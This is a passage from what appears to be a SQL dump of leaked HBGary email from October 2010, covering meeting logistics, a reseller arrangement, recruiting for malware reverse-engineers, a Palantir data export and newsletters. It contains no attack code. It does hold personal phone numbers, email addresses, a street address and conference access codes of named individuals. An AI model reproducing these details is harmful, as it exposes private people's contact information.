<aaron@hbgary.com>','Fwd: Fwd: CID Risk Reduction Strategy Discussion','Meeting later this week.\r\n\r\n---------- Forwarded message ----------\r\nFrom: Nathan Atherley \r\nDate: Mon, Oct 4, 2010 at 3:56 PM\r\nSubject: Re: Fwd: CID Risk Reduction Strategy Discussion\r\nTo: Ted Vera \r\nCc: mark.peterson@farallon-research.com, Barr Aaron\r\n, mark@hbgary.com, Penny Leavy \r\n\r\n\r\nTed\r\n\r\nNo problem about last week, we got our lines crossed and didn\'t get\r\nthe information out quick enough.  As for the kick off meeting on Wed,\r\nwe will be having it in Los Gatos.  We don\'t really have an effective\r\ndial in.  The location is 20 South Santa Cruz Avenue, Los Gatos, CA\r\n95032 Suite 101.  My phone number is 719-321-6135.\r\n\r\nnathan\r\n\r\n\r\n\r\nOn 10/4/2010 2:27 PM, Ted Vera wrote:\r\n>\r\n> Hello Mark&  Nathan,\r\n>\r\n> I received an email requesting a call to discuss CID Risk Reduction.\r\n> The email said once it was fully coordinated the specific date/time\r\n> would be sent.  I never received a meeting request with a specific\r\n> date/time for the call.  Sorry if we missed it.\r\n>\r\n> I was wondering if Mark and I could dial-in to the kick-off meeting on\r\n> October 6th?  If not, then we would like to send Mark Trynor instead\r\n> of me, as he is the Sr. Software Engineer who will be doing the\r\n> integration work. He will be the best to talk details and estimate\r\n> levels of effort, etc.\r\n>\r\n> If we cannot dial-in (via webex or gotomeeting for example), then\r\n> please send me the address and date/time that Mark will need to be\r\n> there to attend in person.\r\n>\r\n> Thanks!\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Penny Leavy-Hoglund\r\n> Date: Mon, Oct 4, 2010 at 10:30 AM\r\n> Subject: RE: CID Risk Reduction Strategy Discussion\r\n> To: Ted Vera\r\n>\r\n>\r\n> It did, no one was on it.  You need to communicate with Mark and Nathan\r\n> about calls.  I have asked them to include you.  As far as I know it\'s still\r\n> on\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, October 04, 2010 11:09 AM\r\n> To: Penny Leavy\r\n> Subject: Fwd: CID Risk Reduction Strategy Discussion\r\n>\r\n> Hi Penny,\r\n>\r\n> This call never took place.  Is the meeting still scheduled for 6\r\n> October?  Is it possible for Mark&  I to telecon in?  Money is tight\r\n> (as always).  If not, I think it would be best for just Mark to\r\n> attend, since he\'ll be doing the work and will be able to talk deeper\r\n> in the weeds (and it will save on travel costs).\r\n>\r\n> I\'m expecting a $30K check any day from Agilex for the Pen Test we\r\n> completed.  Invoice was approved and their AP dept said I will have it\r\n> by Oct 10th.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Mark Peterson\r\n> Date: Mon, Sep 27, 2010 at 5:23 PM\r\n> Subject: CID Risk Reduction Strategy Discussion\r\n> To: Bob Graham, Penny Leavy-Hoglund\r\n> , Nathan Atherley\r\n> , John Hayes\r\n> , greg@hbgary.com, ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3468,'aaron_hbgary_com/3468.html'),(12617,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009318.M23356P14101Q7472.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Reseller Agreeement','Penny,\r\n\r\nI looked through my records and I don\'t think we have a reseller\r\nagreement in place for HBGary Federal to sell HBGary products.  Can\r\nyou send me the paperwork?\r\n\r\nTed\r\n',14968,'aaron_hbgary_com/14968.html'),(12618,'2010-10-04','\"AFCEA DC Events\" <info@afceadc.org>','/aaron@hbgary.com/new/1297009318.M592895P14101Q7473.eml','aaron@hbgary.com','Oct 22 Monthly Luncheon & Navy Panel on Agile IT Acquisition - Ritz Carlton, Pentagon City','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        Volunteer\r\n              with\r\n              AFCEA DC!\r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          \r\n               \r\n                Monthly Luncheon &amp; \r\n                    Navy Panel - Oct 22 (Fri)\r\n                  Agile \r\n                    IT Acquisition:\r\n                    Streamlining &amp; Improving Cycle Time for IT Investments\r\n                  SPEAKERS:\r\n                  \r\n                     \r\n                      \r\n                      \r\n                      \r\n                      \r\n                    \r\n                     \r\n                      Mr. Dave\r\n                        Weddel\r\n                      RDML James\r\n                        Syring\r\n                      RDML &quot;Grunt&quot;\r\n                        Smith\r\n                      RDML William\r\n                        Leigher (inv)\r\n                    \r\n                  \r\n                  The rapid evolution of information \r\n                    technology has created great opportunities and challenges \r\n                    for the Nation’s defense. Keeping up with mission needs and \r\n                    technological innovation will require new approaches and policy \r\n                    in order to maintain mission dominance, while being cost effective. \r\n                    Our Panel will discuss ideas for improving Navy agility and \r\n                    effectiveness in establishing requirements, budgeting and \r\n                    acquisition execution. \r\n                  SPEAKERS:\r\n                  \r\n                    Mr. Dave Weddel, Deputy \r\n                      DCNO for Information Dominance (N2N6B)\r\n                    RDML James Syring, Program \r\n                      Executive Officer for Integrated Warfare Systems (PEO-IWS)\r\n                    RDML Charles &quot;Grunt&quot; \r\n                      Smith, Navy Program Executive Officer for Enterprise \r\n                      Information Systems (PEO-EIS)\r\n                    RDML William Leigher (invited), \r\n                      Deputy Commander, U.S. Fleet Cyber Command/U.S. 10th Fleet\r\n                  \r\n                  Register \r\n                    for Your Corporate Table for the Year (only 2 tables remain)\r\n                  Register \r\n                    as an Individual to Attend the Luncheon (Gratis for Gov Employees)\r\n                  \r\n                  \r\n                  \r\n                  \r\n                  At the September \r\n                  Monthly Luncheon AFCEA DC presented the National Science \r\n                  Center (NSC) a Check for $25,000. Thank you to all of the Member \r\n                  Companies &amp; Corp Table Holders that made this gift possible \r\n                  through your generous Sponsorships of the NSC. \r\n                  See \r\n                    all Pictures from the Luncheon and Panel discussion,\r\n                    chaired by LTG Jeff Sorenson, Army CIO/G-6\r\n                  \r\n                    \r\n                  \r\n                   2010-2011 \r\n                    AFCEA DC Corporate Table Holders\r\n                  \r\n                     \r\n                      Multi-Table \r\n                          Sponsors\r\n                    \r\n                     \r\n                      \r\n                          Northrop Grumman\r\n                          \r\n                          \r\n                      \r\n                          SAIC\r\n                    \r\n                     \r\n                      Full-Table \r\n                          Sponsors\r\n                    \r\n                     \r\n                      \r\n                          Adobe\r\n                          Apptis\r\n                          Booz Allen Hamilton\r\n                          Brocade\r\n                          CACI\r\n                          CGI Federal\r\n                          CSC\r\n                          General Dynamics\r\n                          Google\r\n                          Harris IT Services\r\n                          Hitachi Data Systems \r\n                          \r\n                          \r\n                      \r\n                          immixGroup\r\n                          InfoZen\r\n                          Lockheed Martin\r\n                          McAfee\r\n                          Microsoft\r\n                          Northrop Grumman\r\n                          Northrop Grumman\r\n                          Qwest Government Services\r\n                          SAIC\r\n                          SAIC\r\n                          Verizon Business \r\n                    \r\n                     \r\n                      Half-Table Sponsors\r\n                    \r\n                     \r\n                       \r\n                          \r\n                            Accenture\r\n                            AT&amp;T\r\n                            Blue Ridge Information Systems\r\n                            Capgemini-GS\r\n                            CapRock Government Solutions\r\n                            Ciena\r\n                            Cisco\r\n                            CPS Professional Services\r\n                            Deloitte\r\n                            DSA\r\n                            Esri\r\n                            Formula Strategy Group\r\n                            General Dynamics IT\r\n                            GovDelivery Federal\r\n                            GTSI\r\n                            HP\r\n                            IBM\r\n                            Inmarsat Government Services\r\n                            ITT Corporation\r\n                            Juniper Networks\r\n                            K2Share\r\n                            KLAS Telecom\r\n                            L-3 STRATIS\r\n                            LGS Innovations\r\n                          &nbsp;\r\n                        \r\n                       \r\n                          \r\n                             ManTech\r\n                            Merlin International\r\n                            NetStar-1\r\n                            Nokia Siemens Networks\r\n                            QinetiQ North America\r\n                            Quest Software\r\n                            Raytheon\r\n                            RightNow Technologies\r\n                            Riverbed Technology\r\n                            Rockwell Collins\r\n                            Scitor Corporation\r\n                            Segovia, Inc.\r\n                            SRA International, Inc.\r\n                            SRI International\r\n                            Strohmier Consulting LLC\r\n                            Suss Consulting, Inc.\r\n                            Tachyon Networks\r\n                            TechTeam Government Solutions\r\n                            Terremark Federal\r\n                            T-Mobile Government Solutions\r\n                            Trusted Computer Solutions\r\n                            Ultra Electronics Criticom\r\n                            ZAI Solutions, Inc.\r\n                          &nbsp;\r\n                        \r\n                    \r\n                  \r\n                  Shouldn\'t \r\n                    Your Company Be Listed This Year?\r\n                  To reserve your Corporate Table \r\n                    for the remainder of the luncheon season,\r\n                    Sign-up \r\n                    online - Only Two Tables Left.\r\n                  \r\n            \r\n          \r\n            \r\n          \r\n          \r\n\r\n              \r\n                UPCOMING EVENTS:\r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                       \r\n                        &nbsp;\r\n                          Oct \r\n                            Monthly Luncheon &amp; Navy Panel on &quot;Agile IT \r\n                            Acquisition&quot;\r\n                          Ritz Pentagon City\r\n                            Oct 22 (Fri), 2010\r\n                            \r\n                            \r\n                          \r\n                      \r\n                       \r\n                        &nbsp;\r\n                          SAVE THE DATE:\r\n                            Nov Monthly Luncheon &amp; DHS Panel\r\n                          Ritz Pentagon City\r\n                            Nov 22 (Mon), 2010\r\n                            \r\n                            \r\n                          \r\n                      \r\n                       \r\n                        &nbsp;\r\n                           SAVE THE DATE:\r\n                            Winter Gala at the Corcoran, 33rd Annual\r\n                          Corcoran Gallery of \r\n                            Art, Washington, DC \r\n                            Dec 7 (Tue), 2010\r\n                            \r\n                            \r\n                          \r\n                      \r\n                    \r\n                  \r\n              \r\n            \r\n            \r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              \r\n              \r\n              Volunteer\r\n                with\r\n                AFCEA DC\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp; \r\n              Volunteer\r\n                with\r\n                AFCEA DC\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp; \r\n              Volunteer\r\n                with\r\n                AFCEA DC\r\n              \r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp; \r\n              Volunteer\r\n                with\r\n                AFCEA DC\r\n              &nbsp;\r\n              \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA DC Management by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',6304,'aaron_hbgary_com/6304.html'),(12619,'2010-10-04','\"Brian Christos\" <brian_christos@yahoo.com>','/aaron@hbgary.com/new/1297009319.M291034P14101Q7474.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Malware RE','Aaron,\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n\r\nHere is Darel and also Assad\'s resume.&nbsp;\r\nDarel recently moved to this area and then subsequently lost his\r\ncontract.&nbsp; He\'s doing some RE work on overhead. He was\r\nconducting CNO RE work previously. Assad used to be the RE person for\r\nthe DHS SOC and I can personnel vouch for this APT skills too.I\r\nwould really like to see either of your presentations but I\'ll check\r\non my availability.\r\nV/r,Brian--- On Mon, 10/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:From: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Malware RETo: brian_christos@yahoo.comCc: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.comDate: Monday, October 4, 2010, 5:14 PMThanks Brian.Hey if you are interested check out the&nbsp;presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/Also doing a social media security presentation tomorrow afternoon in Columbia at the cybernexus meeting. &nbsp;See the facebook page for cybernexus for details.AaronOn Oct 4, 2010, at 5:10 PM, brian_christos@yahoo.com wrote:Sure. how about I send Darrell\'s resume when I get home.Sent from my Verizon\r\n Wireless BlackBerryFrom:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;Mon, 4 Oct 2010 10:54:00 -0700To:&nbsp;&lt;brian_christos@yahoo.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;; &lt;rich@hbgary.com&gt;Subject:&nbsp;Malware REWe would like that name for the malware RE in your area. &nbsp;Penny C. LeavyPresidentHBGary, Inc &nbsp; &nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.) &nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly &nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\n',11833,'aaron_hbgary_com/11833.html'),(12620,'2010-10-04','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009319.M578519P14101Q7475.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: GovCon6 and Threat Intelligence','Thanks, I will pass this to our CTA\'s.Sent from my iPhoneOn Oct 4, 2010, at 5:57 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:Hey Eric,Wanted to let you know about a presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/. &nbsp;I think this has a lot of relevance for improving CERT/SOC capability. &nbsp;See you tomorrow.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478',3725,'aaron_hbgary_com/3725.html'),(12621,'2010-10-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009319.M779519P14101Q7476.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Reseller','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nTed and Aaron have very good relationships with TASC and\r\nNG.&nbsp; Ted is going to look at selling into these accounts.&nbsp; You should treat him\r\nas a reseller and give him support and guidance.&nbsp; Most of this is for internal\r\nuse, not for a contract, and he can act as an extension of you.&nbsp; We are putting\r\nin place a standard reseller relationship, so that we still get product and\r\nsupport revenue, but they get a cut, like a reseller would.&nbsp; Aaron is working\r\nwith CISO of TASC and Ted has internal contacts at NG and other places.&nbsp; Same\r\nwill be for Maria in her territory\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11140,'aaron_hbgary_com/11140.html'),(12622,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009319.M976042P14101Q7477.eml','\"Barr Aaron\" <aaron@hbgary.com>','Cyber Accelerator','1.  Please join my meeting.\r\nhttps://www1.gotomeeting.com/join/131919960\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 805-309-0012\r\nAccess Code: 131-919-960\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 131-919-960\r\n\r\nGoToMeeting®\r\nOnline Meetings Made Easy™\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16162,'aaron_hbgary_com/16162.html'),(12623,'2010-10-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009320.M191184P14101Q7478.eml','\"Aaron Barr\" <aaron@hbgary.com>','palantir data','here\r\n \r\n-G\r\n',1789,'aaron_hbgary_com/1789.html'),(12624,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009320.M729779P14101Q7479.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,mark@hbgary.com','Cyber Accelerator','Aaron, when you have a sec, can you email that whiteboard photo?\r\n\r\nMark and I are standing by on the conference call.\r\n\r\n1.  Please join my meeting.\r\nhttps://www1.gotomeeting.com/join/131919960\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 805-309-0012\r\nAccess Code: 131-919-960\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 131-919-960\r\n\r\nGoToMeeting®\r\nOnline Meetings Made Easy™\r\n\r\n-- \r\nTed\r\n',3049,'aaron_hbgary_com/3049.html'),(12625,'2010-10-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009320.M931205P14101Q7480.eml','\"Aaron Barr\" <aaron@hbgary.com>','for example, ithome',' \r\nhttp://www.google.com/#sclient=psy&amp;hl=en&amp;q=stoneck+ithome.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=fdfb9c54bdf6e14b\r\n\r\n \r\n \r\n',5436,'aaron_hbgary_com/5436.html'),(12626,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009321.M132992P14101Q7481.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Fwd: CID Risk Reduction Strategy Discussion','Confirmed with Nathan, meeting is scheduled from 9-1 on Wed only.\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Oct 4, 2010 at 5:07 PM\r\nSubject: Re: Fwd: CID Risk Reduction Strategy Discussion\r\nTo: Nathan Atherley \r\n\r\n\r\nExcellent, thanks for the quick response!\r\n\r\nOn Mon, Oct 4, 2010 at 5:07 PM, Nathan Atherley\r\n wrote:\r\n> We are planning 9-1, only Wed.\r\n>\r\n>\r\n>\r\n> On 10/4/2010 4:06 PM, Ted Vera wrote:\r\n>>\r\n>> Just to confirm, the meeting is all-day Wed only, correct?\r\n>>\r\n>> On Mon, Oct 4, 2010 at 3:56 PM, Nathan Atherley\r\n>>   wrote:\r\n>>\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>> No problem about last week, we got our lines crossed and didn\'t get the\r\n>>> information out quick enough.  As for the kick off meeting on Wed, we\r\n>>> will\r\n>>> be having it in Los Gatos.  We don\'t really have an effective dial in.\r\n>>>  The\r\n>>> location is 20 South Santa Cruz Avenue, Los Gatos, CA 95032 Suite 101.\r\n>>>  My\r\n>>> phone number is 719-321-6135.\r\n>>>\r\n>>> nathan\r\n>>>\r\n>>>\r\n>>>\r\n>>> On 10/4/2010 2:27 PM, Ted Vera wrote:\r\n>>>\r\n>>>>\r\n>>>> Hello Mark&    Nathan,\r\n>>>>\r\n>>>> I received an email requesting a call to discuss CID Risk Reduction.\r\n>>>> The email said once it was fully coordinated the specific date/time\r\n>>>> would be sent.  I never received a meeting request with a specific\r\n>>>> date/time for the call.  Sorry if we missed it.\r\n>>>>\r\n>>>> I was wondering if Mark and I could dial-in to the kick-off meeting on\r\n>>>> October 6th?  If not, then we would like to send Mark Trynor instead\r\n>>>> of me, as he is the Sr. Software Engineer who will be doing the\r\n>>>> integration work. He will be the best to talk details and estimate\r\n>>>> levels of effort, etc.\r\n>>>>\r\n>>>> If we cannot dial-in (via webex or gotomeeting for example), then\r\n>>>> please send me the address and date/time that Mark will need to be\r\n>>>> there to attend in person.\r\n>>>>\r\n>>>> Thanks!\r\n>>>> Ted\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> ---------- Forwarded message ----------\r\n>>>> From: Penny Leavy-Hoglund\r\n>>>> Date: Mon, Oct 4, 2010 at 10:30 AM\r\n>>>> Subject: RE: CID Risk Reduction Strategy Discussion\r\n>>>> To: Ted Vera\r\n>>>>\r\n>>>>\r\n>>>> It did, no one was on it.  You need to communicate with Mark and Nathan\r\n>>>> about calls.  I have asked them to include you.  As far as I know it\'s\r\n>>>> still\r\n>>>> on\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>>> Sent: Monday, October 04, 2010 11:09 AM\r\n>>>> To: Penny Leavy\r\n>>>> Subject: Fwd: CID Risk Reduction Strategy Discussion\r\n>>>>\r\n>>>> Hi Penny,\r\n>>>>\r\n>>>> This call never took place.  Is the meeting still scheduled for 6\r\n>>>> October?  Is it possible for Mark&    I to telecon in?  Money is tight\r\n>>>> (as always).  If not, I think it would be best for just Mark to\r\n>>>> attend, since he\'ll be doing the work and will be able to talk deeper\r\n>>>> in the weeds (and it will save on travel costs).\r\n>>>>\r\n>>>> I\'m expecting a $30K check any day from Agilex for the Pen Test we\r\n>>>> completed.  Invoice was approved and their AP dept said I will have it\r\n>>>> by Oct 10th.\r\n>>>>\r\n>>>> Ted\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> ---------- Forwarded message ----------\r\n>>>> From: Mark Peterson\r\n>>>> Date: Mon, Sep 27, 2010 at 5:23 PM\r\n>>>> Subject: CID Risk Reduction Strategy Discussion\r\n>>>> To: Bob Graham, Penny Leavy-Hoglund\r\n>>>> , Nathan Atherley\r\n>>>> , John Hayes\r\n>>>> , greg@hbgary.com, ted@hbgary.com\r\n>>>>\r\n>>>>\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1855,'aaron_hbgary_com/1855.html'),(12627,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009324.M80355P14101Q7482.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','','',7486,'aaron_hbgary_com/7486.html'),(12628,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009329.M550745P14101Q7483.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','','',8359,'aaron_hbgary_com/8359.html'),(12629,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009329.M996668P14101Q7484.eml','\"Aaron Zollman\" <azollman@palantir.com>','Fwd: palantir data','greg exported his palantir workspace.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Greg Hoglund \r\n> Date: October 4, 2010 7:05:31 PM EDT\r\n> To: Aaron Barr \r\n> Subject: palantir data\r\n> \r\n> here\r\n>  \r\n> -G\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',3557,'aaron_hbgary_com/3557.html'),(12630,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009330.M321855P14101Q7485.eml','\"Aaron Zollman\" <azollman@palantir.com>','Fwd: for example, ithome','One of the searches using some of the words from the workspace. &nbsp;We can do these in realtime. &nbsp;Maybe we should get together on Wednesday to work through this?AaronBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: October 4, 2010 7:07:34 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: for example, ithome&nbsp;\r\nhttp://www.google.com/#sclient=psy&amp;hl=en&amp;q=stoneck+ithome.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=fdfb9c54bdf6e14b\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',13760,'aaron_hbgary_com/13760.html'),(12631,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009330.M523194P14101Q7486.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re:','Thanks --\r\n\r\nHey Greg is having a hard time remembering details, can you get on the\r\ncall / gotomeeting?\r\n\r\n1.  Please join my meeting.\r\nhttps://www1.gotomeeting.com/join/131919960\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 805-309-0012\r\nAccess Code: 131-919-960\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 131-919-960\r\n\r\nGoToMeeting®\r\nOnline Meetings Made Easy™\r\n\r\n\r\n\r\nOn Mon, Oct 4, 2010 at 5:15 PM, Aaron Barr  wrote:\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1730,'aaron_hbgary_com/1730.html'),(12632,'2010-10-04','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297009330.M753717P14101Q7487.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Jon has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Jon are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Jon DiMaggio \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Cyber Intelligence Analyst\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Jon\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          jon.dimaggio@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Jon\'s Connections (47) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Bert Dickerson\r\n                ,\r\n                  Lead Cyber Security Recruiter at SecureInfo Corporation\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n         